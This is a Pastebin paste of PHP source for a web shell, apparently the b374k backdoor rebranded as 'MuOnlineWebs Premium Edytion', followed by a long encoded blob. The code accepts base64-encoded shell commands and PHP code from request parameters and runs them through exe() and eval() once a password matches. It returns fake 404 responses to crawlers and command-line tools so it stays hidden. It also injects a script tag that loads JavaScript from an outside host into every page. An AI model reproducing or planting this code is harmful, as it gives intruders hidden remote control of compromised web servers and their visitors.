SHARE
TWEET

Untitled

a guest Oct 4th, 2018 405 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. $s_pass = "756bc188aa21a8e710d2e1c7184a0f82005c76dc";
  3. $s_ver        = "Premium Edytion";
  4. $s_title      = "MuOnlineWebs " . $s_ver;
  5. $s_login_time = 3600 * 24 * 7;
  6. $s_debug      = false;
  7. @ob_start();
  8. @set_time_limit(0);
  9. @ini_set('html_errors', '0');
  10. @clearstatcache();
  11. define('DS', DIRECTORY_SEPARATOR);
  12. $_POST   = clean($_POST);
  13. $_GET    = clean($_GET);
  14. $_COOKIE = clean($_COOKIE);
  15. $_GP     = array_merge($_POST, $_GET);
  16. $_GP     = array_map("ru", $_GP);
  17. if ($s_debug) {
  18.     error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
  19.     @ini_set('display_errors', '1');
  20.     @ini_set('log_errors', '1');
  21.     foreach ($_GP as $k => $v) {
  22.         if (is_array($v))
  23.             $v = print_r($v, true);
  24.         echo "<span>" . hss($k . "=>" . $v) . "</span><br />";
  25.     }
  26. } else {
  27.     error_reporting(0);
  28.     @ini_set('display_errors', '0');
  29.     @ini_set('log_errors', '0');
  30. }
  31. $s_auth = true;
  32. if (strlen(trim($s_pass)) > 0) {
  33.     if (isset($_COOKIE['b374k'])) {
  34.         if (strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k'])))
  35.             $s_auth = true;
  36.     }
  37.     if (isset($_GP['login'])) {
  38.         $s_login = kript($_GP['login']);
  39.         if (strtolower(trim($s_pass)) == $s_login) {
  40.             setcookie("b374k", $s_login, time() + $s_login_time);
  41.             $s_auth = true;
  42.         }
  43.     }
  44.     if (isset($_GP['x']) && ($_GP['x'] == 'logout')) {
  45.         $persist  = array(
  46.             "theme",
  47.             "cwd"
  48.         );
  49.         $s_reload = (isset($_COOKIE['b374k_included']) && isset($_COOKIE['s_home'])) ? rtrim(urldecode($_COOKIE['s_self']), "&") : "";
  50.         foreach ($_COOKIE as $s_k => $s_v) {
  51.             if (!in_array($s_k, $persist))
  52.                 if (!is_array($s_k))
  53.                     setcookie($s_k, "", time() - $s_login_time);
  54.         }
  55.         $s_auth = false;
  56.         if (!empty($s_reload))
  57.             header("Location: " . $s_reload);
  58.     }
  59. } else
  60.     $s_auth = true;
  61. echo "<SCRIPT SRC=http://r57.gen.tr/yazciz/ciz.js></SCRIPT>";
  62. if (!empty($_GP['s_pass'])) {
  63.     if (strtolower(trim($s_pass)) == strtolower(trim($_GP['s_pass']))) {
  64.         if (isset($_GP['cmd']))
  65.             echo exe(base64_decode($_GP['cmd']));
  66.         elseif (isset($_GP['eval'])) {
  67.             $s_code = base64_decode($_GP['eval']);
  68.             ob_start();
  69.             eval($s_code);
  70.             $s_res = ob_get_contents();
  71.             ob_end_clean();
  72.             echo $s_res;
  73.         } else
  74.             echo $s_title;
  75.     }
  76.     die();
  77. }
  78. if (isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))) {
  79.     header("HTTP/1.0 404 Not Found");
  80.     header("Status: 404 Not Found");
  81.     die();
  82. } elseif (!isset($_SERVER['HTTP_USER_AGENT'])) {
  83.     header("HTTP/1.0 404 Not Found");
  84.     header("Status: 404 Not Found");
  85.     die();
  86. }
  87. $s_css         = "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